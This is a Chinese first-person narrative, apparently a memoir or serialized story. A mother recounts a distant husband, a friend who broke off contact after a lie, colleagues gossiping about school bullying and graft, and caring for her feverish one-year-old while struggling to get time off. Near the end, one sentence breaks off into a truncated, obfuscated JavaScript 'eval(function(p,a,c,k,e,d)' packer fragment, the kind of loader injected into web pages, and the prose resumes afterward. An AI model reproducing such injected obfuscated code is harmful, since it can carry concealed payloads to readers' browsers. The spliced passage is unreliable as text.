“现在是四点,我自己抱着孩子打车,你放心吗?你就不怕有危险啊!” “那走吧!”他这才决定跟我一起去医院。 对于老公这种东西,我现在所有的评价全是负面的。 老公这种东西,除了配合我生个孩子,其他的,对我来说,真的可有可无。甚至还不如没有。因为他的存在只是气我。 我知道这是负能量,可是这种负能量不是无端滋生的。我很爱他,我喜欢他的清纯,我在怀孕的时候,我觉得我生孩子完全是为了他,我爱他胜过我的孩子。 可是,等我需要他的关心的时候,他是怎么做的。我羊水破了,他还翻了个身,想继续睡。那时候,我怎么没有问问他:“要不你继续睡,我自己打个车去生孩子吧!” 一天晚上,已经六点多了,端午还没有回来。我就抱着孩子下去:“走,我们出去等爸爸去。” 我抱着孩子走到楼下,不知不觉走到了他的停车位那里,一看,他的车子就在原地,他就坐在车座儿上。他看到了我,就默默地从车里走出来。 我说:“你怎么回事,下班了还不回家。” 他说:“不高兴,被老板训了。” 我说:“被老板训了就不回家啊?” 他说:“回家又被你说。来,宝宝,爸爸抱抱!爸爸唯一的快乐就是你了。” 我们一前一后地走着。我不说话。我不知道,我们的关系是怎么一步步变成这个样子的。可是,我也没什么好痛心的。因为,我自始至终,真的没有得到他多大的关心和帮助。是的,是帮助,而不是宠爱或是什么的。他在家务在抚养孩子上,连最基本的帮助都没有做到。 我知道,端午上班也不容易。拿着四千五的工资,不是在办公室画图,就是在现场下料,弄地满身满脚的尘土,忙地连水都来不及喝。每天回到家,嗓子都是哑的。经常加班,晚饭难得回来吃。每天,不到下班,不知道今天要不要加班。 我自觉我对端午很好,但是我确实天天跟他吵。我为什么那么生气,因为我对他万分的盛情换不来他对我、对孩子的三分热情。我为什么每天跟他吵,因为我要的他对家庭、对孩子最起码的温暖和责任,我得不到、看不到。 回到家,端午说:“最近要换工作,现在的厂工资太低工作太累,而且老板用的都是自己的亲戚,他的那些亲戚老是找我们的茬儿。” 我说:“你是被老板的亲戚欺负了,你们老板知道这些吗?他是怎么说的?” 端午说:“老板还跟我说,让我留下来,他将来要给我加工资呢。我不同意。我要走了。” 我说:“好吧。这样的老板,任人唯亲,搞裙带关系。我也支持你走。” 端午说:“这次要去的厂离你这里有点远,离我自己的家比较近,我就住在我那里了,等周末再回来。” 我说:“你的这个想法我也同意,你在,我太累了。你不仅帮不上忙,还要给我添烦,添气。我每天下班还要问你回不回家吃饭,我自己忙了一天,天黑了才回家,还要操心你的晚饭。你自己不会做饭,还挑三拣四的。我跟你妈,一碗面就可以应付了。你不行,你又得菜,又得汤,还得换着花样儿。我不要上班吗,我又不是家庭主妇。” 端午说:“在这儿,三个人睡在一个床上太挤了。宝宝夜里吵,影响我睡觉。我第二天还要画图。” 我说:“嗯。分开住对大家都好。” 端午说:“还有几天就要住过去了,星期天,你跟我一起去我那,给我套被子。” 我问他:“你自己不知道这样小阳春的天气该套哪床被子啊?” 他说:“我哪知道!” 我说:“你平时对什么都不用心,什么都不知道。你不仅从来不帮我,还要占用我的休息时间。我简直要被你气笑了。你这次换工作,我真是谢天谢地,老天真是开了眼了。你怎么不出国呢,你要是出国就好了。” 2.程云跟我绝交了 一天晚上,我在给宝宝刷奶瓶,程云发来了信息:“我在外面玩呢,拍一个宝宝的视频给我,快点!” 我说:“宝宝睡觉了。” 她说:“那就算了吧,那就发个宝宝的视频给我。快点!夯货!” 我说:“好的。你在哪里啊?” 她说:“我在外面玩,朋友这里。” 我说:“你骗姐夫的啊?现在都八九点了,你还不赶紧回家。” 她说:“知道。” 我给她发了一个宝宝的视频,就去忙着给宝宝烧开水。 过了一会儿,我发信息问程云:“你回家了没有啊?” 她回复说:“还没有呢。我跟他说来你家玩的,他不相信。” 我说:“你根本就没来我家。我发的视频里面根本就没有你。姐夫不是傻子,怎么可能相信。你还是赶紧回家吧。你怎么就是不回去啊?” 她说:“我就想出来玩玩。你姐夫就是不想让我出来玩。我不能出来玩玩吗?” 我说:“你赶紧回家吧,你明知道姐夫生气,这么晚了,你还不赶紧回去。人家那里有那么好玩吗?有你跟姐夫的感情重要啊?” 她说:“知道了。他现在生气了。你告诉他,我在你家玩的。” 我看了看她发给我的截图。 程云跟她老公说:“马上回来。” 她老公说:“你不回来就永远不要回来了。我把大门锁了,路是你自己选的。” 我明知道她老公不会相信,可是程云让我这样做,我只好照办,就又发了一条语音:“姐夫,程云姐在我家玩的。” 我回头就跟程云说:“光凭宝宝的视频,姐夫怎么可能相信。你那么聪明,你明知道姐夫不会相信的,这不是自欺欺人吗?姐夫知道了,肯定会生气。夫妻之间,在外面玩这种事情是不能撒谎的。撒谎的话,本来没有事,也是有事儿了。你跟姐夫老夫老妻了,可不能这样伤害姐夫的感情。我怕我帮你撒谎,姐夫知道了,就不让我去你家玩了。” 程云说:“知道,不会连累你的。” 我说:“你到底在干嘛啊?你赶紧回去,这么晚了,你还要开车呢。你一个女的,回去晚了,不安全。” 她说:“好的。你不是不知道,他管我管地太严了。我想出去玩一会儿,他都不让。” 我说:“外面有什么好玩的。外面的人有姐夫重要啊。你为什么还不回去,你是不是真的在外面鬼混啊。你不要犯浑。外面的男人脏的很。对你都不如姐夫真心。你赶紧回家。” 她说:“知道。” 我说:“我现在都不太相信你,你到底在哪里?” 她说:“我真的在朋友这里,不信你看。”她直接发了一条她跟另外一个女人的视频。 我说:“噢,那我就放心了。否则我真的以为你在外面鬼混呢。你不要干对不起姐夫的事,更不要干对不起自己的事。” 她说:“知道了,我才不会在外面鬼混呢。” 我说:“那就好,你赶紧回去。”我就去把宝宝从老太太那里抱过来,带着宝宝睡觉了。 十点多的时候,我起来冲奶粉,不放心她,就发了一条信息问她:“你回家了吗,怎么样了?” 她回复说:“没有。他真的把大门锁上了。” 我说:“啊,那你怎么办?你现在在哪里?” 她说:“我在宾馆。” 我说:“你还有钱吗?” 她说:“放心,钱够用。” 我说:“好的,你在外面,钱不够用就跟我说。” 她说:“好。” 我说:“你看看,早知道这样,你还不如早点回去。姐夫这回是真的生气了。” 她说:“没事儿,我才不怕。” 我说:“那你照顾好自己。我去睡觉了。” 她说:“好的。” 第二天早上,我还是担心程云,就到楼道里打电话问她:“你怎么样了,吃饭了吗?” 她说:“我还没吃饭。不想吃。没有胃口。” 我说:“你不要这样折磨自己。你要好好吃饭。你出去吃,吃点汤汤水水的。” 她说:“知道了。我现在给厂里送货的。我一会儿去吃。” 我说:“姐夫也是的,怎么能这样,居然能真的不让你回家了。你们都多大岁数了,又不是十几二十几岁的小年轻,还来这一套。” 她说:“他就这样。我也不怕他,不行就离婚。我开车回老家。” 我说:“你身上的钱够用吗?” 她说:“够用的。” 我说:“噢。你在外面要吃好喝好,没有钱跟我说。你住在外面也不是长久之计。姐夫要是再跟你闹怎么办?我家里有老太太,否则你住在我家。端午那里的房子还可以住。你住吗?” 她说:“我在这里上班,怎么可能住地那么远。不行我就租个房子。” 我说:“你现在开车,我就不跟你多说了。你注意安全。” 她说:“没事的。” 到了晚上,我下班了。到家以后,我就问她:“你现在在哪?” 她说:“我在开车,现在回家拿衣服。” 我说:“那你注意一点。到家了跟我说一声。” 她说:“好的。” 我到家以后,忙着抱孩子吃饭。等喂好孩子,老太太哄着孩子睡觉了,我就发信息问她:“你怎么样了?跟姐夫和好了没有?” 她发了一条信息:“以后不要来我家玩了。” 我是一头雾水,莫名其妙。是她让我发信息拍视频骗她老公的,再怎么她也不至于怪我。我在想,是不是姐夫跟她斗气,强迫她发的。或者是姐夫夺了她的手机发的。根据他们以前的情况,很有可能。我也就不说话了。我想,到底什么情况,她第二天应该会跟我联系解释一下的。 但是我还是有些疑惑,我在想,既然说不让我去她家玩,那大概微信好友也删除了。我就发了一个问号看看。 结果我的“问号”发出去,手机显示,对方还不是我的好友。我就知道,她或是她老公把我删了。 她怪我是没有道理的。是她让我发视频给她,她拿来骗她老公的。她老公生我的气,嫌我跟她一起骗他,倒是情有可原。但是,他也应该知道他的老婆,她那么有心眼。他是不知道,我根本就不想帮他老婆一起骗他。多少次,我还帮着他说话,劝说他老婆。这些他是不知道,我也没有办法跟他说。他如果怪我,我也没办法。她让我发视频给她,我能不答应吗? 她(他)说,让我以后不要再去她家玩。这个对我来说,根本就构不成威胁。她让我帮着她骗她老公的时候,我只是因为不想帮她一起撒谎,才搬出了害怕她老公不让我去她家玩的借口。 我都四十岁的人了,哪里还有什么心思到处跑着玩呢?何况,我现在忙孩子忙地一塌糊涂,我哪里还有闲工夫去她家玩。她中间邀请了我多次,让我带着宝宝去玩,我都没去。我跟她说,我也特别想去。但是带着小宝宝实在不方便,又要带奶粉,又要带奶瓶,又担心她拉屎拉尿,又不知道她什么时候睡觉。她还有个怪癖,她睡觉还要抱着她的小尿垫。带着这些实在麻烦。她笑着说:“朱江以前也是这样。一睡觉就拖着他的小被子。”所以,不让我去她家玩,对我来说,倒不是什么大不了的事。 我觉得有些莫名其妙。但是,我还是不太放心程云,不知道她到底是怎么回事。她是不是被她老公控制了呢。我又有些担心她的老公。她跟我原本是好好的,为什么那么突然地要跟我绝交呢。是不是她回家以后,发现她老公因为她夜不归宿,喝药了,还是上吊了,她深感悲痛,所以怨恨于我? 我就在下班的路上打电话给小亚姐姐。我跟小亚姐姐也好久没有联系了。问候了一下,我就告诉她,我现在孩子小,确实很忙。我也是在下班的滴滴快车上,才有时间跟她长话短说。我问她这两天有没有见过程云,没听说她家有什么事儿吧。小亚说:“没有啊。”我说:“她没事就好。我还是有点不放心她。”这以后,我跟程云也就再没有联系过。 我到了这个年纪,尤其是这个阶段,谁离开我,我都不会再歇斯底里,穷追不舍。何况,程云这样对我,我总觉得有些莫名其妙。她的电话我也没有再打过。我是到这时候,才知道,朋友终究是朋友,比不上血缘,说翻脸就翻脸。 3. 打架事件 小田说:“今天,我儿子班的一个小孩,把他班里另一个小孩的小鸡鸡踢肿了,踢人的小男孩的妈妈还不肯道歉。家长在群里吵了起来,学校领导都在群里,谁都不敢得罪,屁都不敢放一个。把人家孩子的□□踢肿了,这个家长还特别狂。学校领导让他孩子道歉,他妈妈也不让他跟人家道歉。他妈妈还说,不道歉,为什么要道歉。踢他怎么了,我们下次还要踢,把他踢爆。” 小草说:“这个时候就应该把双方家长放在一起谈。为什么还要袒护她。让人家直接找她算账啊?人家本来就是受害者家属,站在道德制高点上。她如果敢这样对人家说,人家直接扇他嘴巴子。这话不是直接讨人家家长的揍吗?” 莉莉说:“学校领导是怎么处理的呢?” 小田说:“学校领导全部出面去安抚受害家长了。” 小草说:“为什么单方面安抚对方家长?为什么不找涉事家长?直接让涉事家长出来,跟受害家长见面,该付医疗费就付医疗费。” 小田说:“对方家长就应该闹,直接去教育局闹。”她说完,把身上的外套脱了下来。 莉莉说:“你不觉得这就是校园霸凌了吗?” 小草说:“这个家长直接发抖音,发视频,让媒体曝光,绝对大火。” 小田说:“人家家长也没怎么闹,就是要讨个说法,让他道歉。可她就是不道歉。她就是这种人,目中无人。” 莉莉说:“那个家长为什么气焰这么嚣张,她是不是有什么后台啊!有后台更好,就去扒她的后台,现在有背景的屁股都不干净!一查一个准儿!” 小田说:“现在的小孩子从小就想当官,好多官迷啊。我儿子班里选举一个班干部,很多关系户就都冒出来了。各种名堂的官职都有,什么大队副书记、福建的副镇长,副这个,副那个的,真可怕!” 她说着,又把厚外套穿了起来。 “那他们班主任怎么办?”莉莉说,“即使全部让关系户上,那也轮流不过来啊!” “班主任还能怎么办?这些关系户连成一条线,织成一张网。她敢不同意?好可怕!可是他们的孩子未必就能被选上啊。”小田说。 莉莉说:“让他们自己直接到讲台上说吧。就说,我爸爸是某某某,选我一票。” “我听出来了。”小草说,“你们班里的官儿都是副的,还没到正的呢。怕什么?那个副镇长不是福建的嘛?他又不能把谁怎么样?” “不能调过来啊?现在在哪里不能调啊?万一调过来呢。”小田说,“他们班主任得罪不起,就设置几个闲职,叫什么‘心理班长’、‘艺术班长’,这样给他们一个交代。现在任何单位都可以找学校。除了畜牧业,养殖业。养殖业也可以找学校。花花草草不是种上了吗?马上,他们班要搞一个朗诵,他们又要来给班主任施加压力了。” 小草说:“花花草草是种上了呀,我表弟的学校,一棵月季花报价两万,建了一个车棚报价三百万。” 小田说:“是什么样的月季花价值两万啊?” 莉莉说:“说两万就是两万!怎么着?你不服啊?” 小田说:“服服服!必须服啊!北服北服的!校长的钱包可是鼓起来了,盆满钵满啊。住上大别墅了吧?” 小草说:“听说他有个别墅,只是藏着掖着,不敢住,还是天天开着一辆破车,装给谁看啊?谁不知道啊?” 莉莉说:“你看看,人家是有别墅不敢住,我们是没别墅,想住还住不上。这就是有钱人的痛苦!” 小田说:“是某些有钱人的痛苦!明明有很多钱,却不敢光明正大地显摆!” 莉莉说:“人家有钱人住地房子跟我们住地房子都不一样。你看我们社长的房子,外表看起来就是普通的房子,可是,里头的装修,没个百八十万,根本拿不下来。你说他一个社长,哪来那么多钱?” 正说着,杜社长过来了,他在外面敲窗户。 “妈呀!”小田惊叫道,“干嘛?有事吗?” 杜社长说:“刚才毛主任在群里叫我?” 小田瞪着眼跺着脚说:“是的,你快去!” 我看着小田的样子,觉得她急着要赶杜社长走的样子实在搞笑,就哈哈大笑了起来。 莉莉说:“那个打人的家伙,班主任是怎么处理的?” 小田说:“他们班主任在晨会的时候点名批评了那个家伙,就点了名,谁谁课间打闹的,就这样一带而过。那家伙的家长就去把班主任给骂了一顿。我当时送孩子到学校门口儿亲眼看见,都吓死了。” 小田说着站起来,抱着膀子,翻着白眼珠,对着她对面的小草说:“那家伙的家长就这样,‘你还有脸吗?你给小孩子脸了吗?你还有自尊吗?你给小孩子自尊了吗?他还是个孩子啊?你就这样当众批评他?’” 小田的白眼珠子瞪地大大的,我忍不住笑了。 小田说:“后来,我还去安慰了一下他们班主任。到最后还是人家自己去跟那家伙的家长道歉了。” 众人不解,说:“为什么?” 小田说:“校长让她去道歉的啊。” 小草说:“要是我,我就说,我是按学校规定办事,学校让我这样做的。关我什么事。” 小田说:“到时候校长就会说,‘我是让你管理,又没让你点名。’全都推到你身上去。” 我说:“校长为什么那么怕家长?” 小田说:“因为怕她背后的靠山啊。如果是没背景的孩子打了别人,校长肯定来找我们说,‘赶紧跟人家道歉吧,大事化小,小事化了。’” 我说:“妈呀,现在学校里也是欺软怕硬啊。” “那可不是。我早就看到这一点了,我跟我家孩子说,在学校里一定强势,太老实了就会被踩踏。”小田说着,又把外套脱了下来。 “我怎么这么暖?”小田说。 “哈哈!因为天气本来就热啊!”大家笑着说。 莉莉抱起肩膀,跟小田说:“你就跟你家孩子说,‘你在学校里就这样,哼!哼!’” 小草说:“那个打人的孩子后来是怎么处理的?道歉了吗?” 小田说:“后来,他们班级30个家长联名,一起抗议,打人的孩子的家长才道歉了。” 小草说:“你们这些家长找校长去说说去吧。否则风气这么差,你们的小孩在那里怎么上学?” 小田说:“所以我决定不把孩子放在这个学校。我要花点钱,把孩子放在三中。” 小草说:“三中男女恋爱的很多。” 小田说:“我家是男的,我又不怕。” 莉莉说:“男的可以踢啊!” 4.宝宝高烧挂水 夏秋之际,我去家纺店里,买了一床新被子,给老太太和宝宝一起盖。 我跟老太太说:“这个天气,盖空调被太冷,盖春秋被太热。盖这种被子正合适。我特意花了四百块钱给你和宝宝买的。” 老太太说:“谢谢!” 我说:“谢什么的!” 过了些日子,我问老太太说:“天气冷了,你冷不冷,要不要换厚一点的被子?” 她说:“没事。” 我说:“我还是给你换床厚一点的被子吧,这样,天冷了,你就不用挨冻,我也没有后顾之忧了。”我就踩着椅子,从柜子里拿出来一床厚一点的春秋被,把老太太床上的薄被子给换了过来。 周一下午,是宝宝打疫苗的时候。我事先请了假,准备忙完手里的活儿就回家带她去打疫苗。 一张抽纸大小的假条已经放在我桌子上了。 青提区《喵一生》杂志社员工临时外出请假单 宋大省(请假人),周一下午13:30至15:00(时间),因给孩子打疫苗(原因)临时外出,特此请假,望批准! 审批人:衣枝梅 ×年 ×月×日 下午一点钟的时候,老太太打来电话:“大省,宝宝有些发烧嘛。” 我抓起桌上的假条说:“我知道了,我马上回去。” 到了家,我一看,宝宝正低着头趴在老太太肩膀上昏睡不醒呢。我拿过体温枪一量,39度8。 “去医院吧。”我说。我简单收拾了三四个尿不湿,装了一保温杯温水,装了一袋子奶粉,带上奶瓶,检查一下宝宝的社保卡,就跟老太太一起抱着她出门了。 出了单元门,我说:“来,妈妈抱。”老太太就把宝宝给了我。 我也晕车,平时,不带孩子的时候,我自己有事打车的话,喜欢坐副驾。但是抱着孩子出门,都是我抱着她坐后排。奶奶毕竟是奶奶,奶奶毕竟年纪大了。关键时刻,她是保护宝宝还是保护她自己。我觉得这个对于她来说,很难说。她的体力和反应能力也不及我。所以,我的孩子我要自己负责。 到了医院,一个老医生看了看,给宝宝开了奥司他韦,还有两天的雾化和小针。我就让老太太抱着宝宝,我赶紧去缴费,取药,然后先去排队打小针,再去做雾化。 我在医院预约取号的时候,端午的手机有短信通知的。他打来电话,问我说:“宝宝怎么了?” 我说:“高烧。正带着她治疗呢。说不定,就是你周末回来拼命咳嗽传染的。现在我又要上班,还要请假给她看病。” 我给宝宝治疗回来,把她和老太太送回家,帮忙烧水,把药放进奶里冲奶喂下去,宝宝吃了奶,我再去刷奶瓶。 我正在刷奶瓶,老太太突然喊:“大省,快过来,不好!宝宝吐了!”我赶紧跑过去一看,宝宝果然吐了。被套上是白白的奶粉沫儿,散发着一股子酸奶的味道。 我说:“怎么办,换被套吧。” 我让老太太把宝宝抱起来,我去换被套。被子上也被宝宝吐的奶渗透了湿湿的一大片,酸酸的。 我把换下来的被套放进洗衣机洗上。再把被子抱到阳台上晾晒。然后再找出一床春秋被给装上被套。再赶紧赶回去上班。 第二天一大早,我继续请假,打算一忙完,就带宝宝去医院。 青提区《喵一生》杂志社员工临时外出请假单 宋大省(请假人),周二上午9:00至11:00(时间),因带孩子去医院(原因)临时外出,特此请假,望批准! 审批人: ×年 ×月×日 我顶着巨大的压力填好请假单,就去找领导签字审批。领导很忙,上下楼层地转悠,我也跟着上下楼梯地跑,跟着领导的身影跑,围追堵截。见了领导,我点头哈腰卑躬屈膝地请领导给我签字,领导看了假单,签了字,我真是万分感激千恩万谢。 我拿着领导签好的请假单三步并作两步上了楼梯,吕主任正站在楼梯口等我呢。 她跟我说:“小宋,小影过两天要请假去医院,你能不能临时帮她代理一下她的事务啊?” 我说:“我家宝宝高烧39度8,我也请假了,准备忙完以后带她去医院呢。” 她说:“噢,好的,她周五才开始请假呢。你到时候如果要是去医院的话跟我说一声,我再安排。” 我说:“好吧。其实,我心里没有底,宝宝发烧是个持续性的过程,一时半会儿恐怕好不了。我最近肯定要每天请假带她去医院了。其实,我是非常不想经常请假的。我怕我把个假请来请去,更遭领导嫌弃。可是为了孩子,实在没有办法。我压力真的很大。” 吕主任说:“没事儿,你正常请假。最近,支原体肺炎、支气管肺炎那么多。小孩子生病,请假很正常。” 我说:“可是小影的事情怎么办?我要请假,她也要请假,我要是代理她的事务的话,一天都走不开,就不能带孩子去医院了。我家宝宝高烧,我不敢耽误。你看看能找其他人代理她的事务吗?” 吕主任说:“没事儿,到时候再说吧。” 就这样,我又请了一天的假。 青提区《喵一生》杂志社员工临时外出请假单 宋大省(请假人),周三上午10:00至12:00(时间),因带孩子去医院(原因)临时外出,特此请假,望批准! 审批人: ×年 ×月×日 我自己填好了请假单,准备去找领导签字。我跑到楼上去找当天值班领导张姗请假。 张姗说:“今天不是我。我跟李思换了,她在大门口值班。” 我于是跑下三楼到单位大门口。终于看到李思了。 李思看了一下我的假条说:“这个请假我不能签,超过两个小时了。” 我说:“那怎么办?” 李思说:“这个你要找衣部长签字。” 时间紧急,我只请了上午的假,中午还要赶回来上班。我急地哭的心都有了。 没办法,我又跑到三楼,到了衣部长办公室。幸好衣部长在,给我签了字。我拿着假条,像拿着特赦令一样,兴奋地跑出去,打车,到了家,带着宝宝往医院赶。 回来以后,宝宝又吐了两次,又把新换的被套被子吐湿了,我又忙着换被套换被子。 宝宝高烧不退,又不肯吃退烧药,夜里喂宝宝吃药也麻烦,我只好给她□□里塞退热栓。药塞上以后,烧就慢慢退。等过了五六个小时,又烧到39度,临近40度。我非常紧张,只好继续给她塞药。 每次塞药,宝宝都很痛苦,很拒绝。她痛苦地哭着,蹬着小腿拒绝着:“妈妈!”“妈妈!”地喊着,求我不要给她塞药。我一边往她□□儿里塞药,一边心疼地说:“对不起啊,好宝贝,妈妈也没有办法。塞上药就好了,宝贝,宝贝!” 宝宝高烧不退,肯定很难受,一直在哭,嘴里还喊着“妈妈!妈妈!”可是我除了喂水,塞药,一点没有办法。 周四凌晨四点,宝宝又烧到了四十度。我本来打算上午请假带她去打针的,可是现在她烧地那么厉害,怎么办。我就跟老太太说:“去医院吧。早点去打针,早点退烧。”我就跟老太太打车去了医院。我们来到医院的时候,是早上五点多,只能挂急诊。我就去急诊室给宝宝打了针。然后,我把宝宝和老太太送回家,我自己再去上班。 因为是凌晨四点去的医院,周四这天,我没有请假。 周四中午,我跟老太太打电话说:“妈妈,宝宝现在怎么样了?你给她量体温了没有?” 她说:“我刚才量了,40度。小脸红红的,哇哇直叫呢。” 我说:“你给她塞个退热栓,喂她喝喝水。明天,我再带她去医院吧。” 宝宝还是高烧不退,可是,明天,吕主任那边还等着我去代理小影的事务呢。我分身乏术,就给她发信息:“吕主任,我家宝宝又高烧39度,烧地小脸发红哇哇直叫。周五,我只有上午有时间。我明天上午忙完就请假带她去医院。小影的事情我不能去了。先给你报备一下。你赶紧安排其他人顶替,别给耽误了。” 信息发出去以后,吕主任没有回。 我想:完了,她是生气了。可是我有什么办法。单位里还有其他员工,为什么就不能用呢。小影的事务,任何一个同事都可以帮忙看一下吧。为什么非要盯着我呢?我孩子高烧,我能不管不问吗?我孩子高烧,我事先就已经请了假了,现在小影请假,我就得放弃自己的孩子不管不问,去填补她的空缺吗?非我不可吗?主任都可以帮忙处理一下小影的事情吧。社长也可以帮忙看一下吧?为什么非要抓住一个自己孩子高烧不退的女人不放呢。 可是,吕主任没有回答。 我就给小影发信息:“小影,我家宝宝今天中午11点发烧到40度。我明天要带孩子去打针。你能跟吕主任说一下,看看哪个同事,可以代一下你的事务吗?她们难得帮忙一次,应该可以的吧。都是一个单位的嘛。” 我想了想又说:“小影,说实在的,你平时对我挺好的。我不是孩子发烧,我真的非常乐意去为你代班的。你之前请婚假,我不是也好好地为你代班吗?可是这几天,我家宝宝发高烧,我实在走不开,我是真的没有办法。” 小影回复我说:“我理解的宋编辑,孩子太小的确很不容易的,不过我是请假的人,也不太好说,可以麻烦你和吕主任讲一讲吗?看看请她安排一下别的人呢?” 我跟小影说的原因是,她之前请婚假,我为她辛苦过,看在我为她辛苦过的份儿上,她能不能替我向吕主任讲讲情,放过我这个宝宝高烧不退的妈妈。怎么那么多人,就逮着我了呢。我的孩子她发高烧啊。 我看了她的信息,她居然推脱了。事情因她而起啊。为什么,因为她请假,我的孩子高烧,我就不能请假。我悲从中来,可是没有办法。 看看时间,已经是下午四点半,我就直奔四楼吕主任的办公室跑去。可是吕主任的办公室没有人。 明天一早,我要带着孩子去医院。小影的空缺还等着我去填。 我就跟小影发信息。我说:“小影,您请假我也可以理解。因为我也要请假。您为了您的身体,我为了我一岁的孩子。实在抱歉,我不能因为为您填补空缺,不去管我一岁发烧到40度的幼儿。请您谅解。” 小影说:“宋编辑,你请你的,我请我的。我们互不干涉。” 我说:“小影,我是想跟你互不干涉。我家宝宝周一就开始发烧,我周一就开始请假了。可是现在,我却是因为你要请假,我就不能请假呀。如果是我自己生病了,不让我请假,我还可以坚持。可是现在是我的孩子高烧不退啊。现在是我因为你要请假,我就不能请假去带我的孩子看病啊。” 我实在忍不住了,我说:“小影,你的事为什么变成了我的事?为什么我要眼睁睁地看着我发烧的孩子不管,还要为你填补空缺。同事之间互相帮助完全可以理解。可是周五,我也要去医院,我孩子发烧。单位还有其他同事。” 她说:“啊?宋编辑,你已经和吕主任说过了,她不会再安排你的。” 我说:“可是小影,早上我明确地说了。可是有人听不到。我孩子发烧40度,我还要说什么。我也不想耽误单位的事,我告诉吕主任了。可是她没有回复。我下午告诉你,你又让我去跟她说。对不起小影,您身体肯定也不舒服。我也真心觉得你真的很好。我只是想不通这个道理。为什么我不能请假去带着发烧的孩子去医院。是不是吕主任不同意,我就得不管不顾我发烧40度的孩子。” 她说:“好的,我来跟她说。” 我说:“谢谢你小影。我也着急单位的事,我也害怕你的事务空着没人问。所以我想现在就说好。因为到时候再说根本来不及。吕主任早上没有松口,我就很着急,很有压力。” 下班了。那天的风很大,我拎着包走在单位的围栏旁。风吹着我的头发,我的脑子很乱。为什么小影的事,变成了我的事?为什么因为小影请假,我这个孩子高烧不退,事先请了假的人,就得去求爷爷告奶奶地哀求吕主任,让她发发慈悲,允许我请假? 为什么因为小影请假,我就不能请假了?我一岁的孩子发高烧啊。 为什么小影要请假,非得让我去顶替她?我本来因为请假带孩子看病已经压力山大了,为什么还要把为小影顶班的担子放在我的肩上?我一旦去为小影顶班,就不能请假带我孩子去医院。我的孩子她高烧啊。 关键单位里还有很多人啊,他们也可以帮忙的。为什么非要抓住我不放呢?我的孩子高烧我能不管吗?是不是我放弃我高烧的孩子不管不顾,去为小影顶班,一切的一切就都完美了? 我猜大概是的。这符合她们所有人的想法。我如果这样做,小影也高兴了,吕主任也高兴了。如果我和我的孩子吞下所有的委屈,她们全都高兴了满意了。 可是我的孩子呢?她高烧呢,谁听到了? 我呢?我到底卑贱到了什么地步?我的孩子高烧不退,我都不能管她? 我还是个自由人吗?我还是个人吗? 风吹着我白发苍苍的鬓角,我迎着风走在路上。我能跟谁说说我心里的憋屈和苦恼? 我觉得我想哭又没有地方哭,想笑又没有地方笑。 说来说去,还是我太卑微,所以我的孩子发烧四十度,没有人听到,没有人在乎。所以还是逼着我去填补别人请假的空缺。 这件事的结局很糟糕,我得罪了吕主任,得罪了小影。 一切的原因都是我不好,我如果放下我高烧不退的孩子不管不顾,不请假,心甘情愿去填补小影请假的空缺,那么大家就都开心了。 如果我是局长,我说我的女儿高烧了,她们肯定会万分关心,让我好好去带小公主去就医吧,说不定,还得派专人专车护送,说不定还有一行人带上点心水果去医院探望。 可是,正因为我只是我,正因为我的女儿只是我的女儿。我说我的女儿高烧四十度,就没有人听到。 人之卑贱,不过如此吧。 宝宝高烧终于退了下来,可是又开始咳嗽了。我们继续带着宝宝去打屁股针。等我挂号询问医生的时候,一个医生建议我去给宝宝查查,别是肺炎。我赶紧跟老太太一起抱着宝宝去拍胸片。 进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宝宝的血管不好找,宝宝乖乖地仰卧在护士的手上。护士连连夸赞:“这个宝宝怎么这么乖啊,好乖啊。”护士先在她的右边鬓角扎针,旁边帮忙的护士看针管里血流地太多,就说:“这血不太对劲嘛。”那个扎针的护士才发觉她扎错了地方。血液迅速地顺着细细的针管流出来,大概流了有二三十厘米长。她赶紧把针取下来,把带血的针管一下子扔到身后,然后按着宝宝鬓角上的针眼对我说:“告诉别人,以后不要扎这个地方,这个地方是动静脉交汇处。” 我说:“医生,没关系吧?” 她说:“没事的,这个地方是动静脉交汇处,药水流不进去。”我真地很恨她,可是我又不敢说她什么。我只能默默感谢刚才提醒她的那个护士。 扎针的护士又给宝宝扎在手上,宝宝开始烦躁了,她哭着一下子就把针管拔下来了,血“呲溜”一下冒出来流了她一手,弄得她的羽绒服的袖口上都是血。我的宝宝才一岁,太小,她还不知道血是什么,只知道哭,不知道害怕。我赶紧按着她的针眼,一边叫医生,医生来了,又给她扎了左边头上。医院里人满为患,连挂水的座位都挤满了。我们抱着宝宝,跟旁边挂水的人说说话。这里面人很多,大多数都咳嗽,还有很多支原体肺炎。 宝宝过了一会开始哭闹。我以为她热了,给她把羽绒服拉链拉开。她还是很痛苦地哭个不停。我以为她是要吃奶了,就跟她说:“宝宝,我们回家吃奶,我们回家吃奶。”宝宝还是哭,烦躁地东张西望。我说:“我知道了,她可能是找她的铺着睡觉的小尿垫了。”宝宝绝望地哭着,我就以为她是在找她的小尿垫。就抱着她哄。 旁边的人说:“宝宝哭地多可怜啊,找护士来给看看吧!” 我把护士叫过来,我说:“医生,我的孩子一直哭,麻烦你帮我看一下,药没有问题吧?”护士看了看说:“没有问题。”我就以为宝宝是在找尿垫,我就抱着她走走哄哄。我把药袋从挂钩上拿下来,打算抱着她走走。宝宝看着药袋子哭地更厉害了,伸出小手要去抓。我又把药袋挂上去。 就这样,又过了几分钟。宝宝急地大哭,哭地浑身都是汗,里面的衣服都湿透了。我没办法,只是抱着她哄。我突然想起来,是不是鼓针了。 我把护士喊来,我说:“护士,你帮我看看,是不是鼓针了。 护士看了看说:“是的。” 我赶紧把孩子抱过去让她取针头。 她说:“还有一点药水,还挂吗?” 我说:“不挂了吧。”护士把针头取下来。我的宝宝才停止哭泣。 我跟扎针的那个护士说:“孩子鼓针了,哭地厉害。” 护士见多识广地说:“你们家长就是太疼孩子了。人家有的孩子鼓地跟鹅蛋似的呢。” 我觉得她这不是屁话吗?谁家的孩子谁不疼啊。这不是小打小敲,这是鼓针,大人都受不了的疼痛,何况那么小的小宝宝呢?宝宝不会说,我们大人不知道。孩子要忍受那么长时间的疼痛,孩子有多绝望,多痛苦,要多受多少罪。可是这些话,我不敢跟护士说。 给宝宝看好了,我们抱着孩子回家。在医院大门口,我叫了滴滴快车。平台显示,司机已经到了,我赶紧四处环顾。 司机打来了电话。 我边转头边说:“你在哪啊?” 对方说:“我已经到了。” 我说:“我没看到你吗?”说着,我转过身儿来。 绿化带旁边,一个五十多岁的男司机探出头来不耐烦地大声喝道:“这里!” 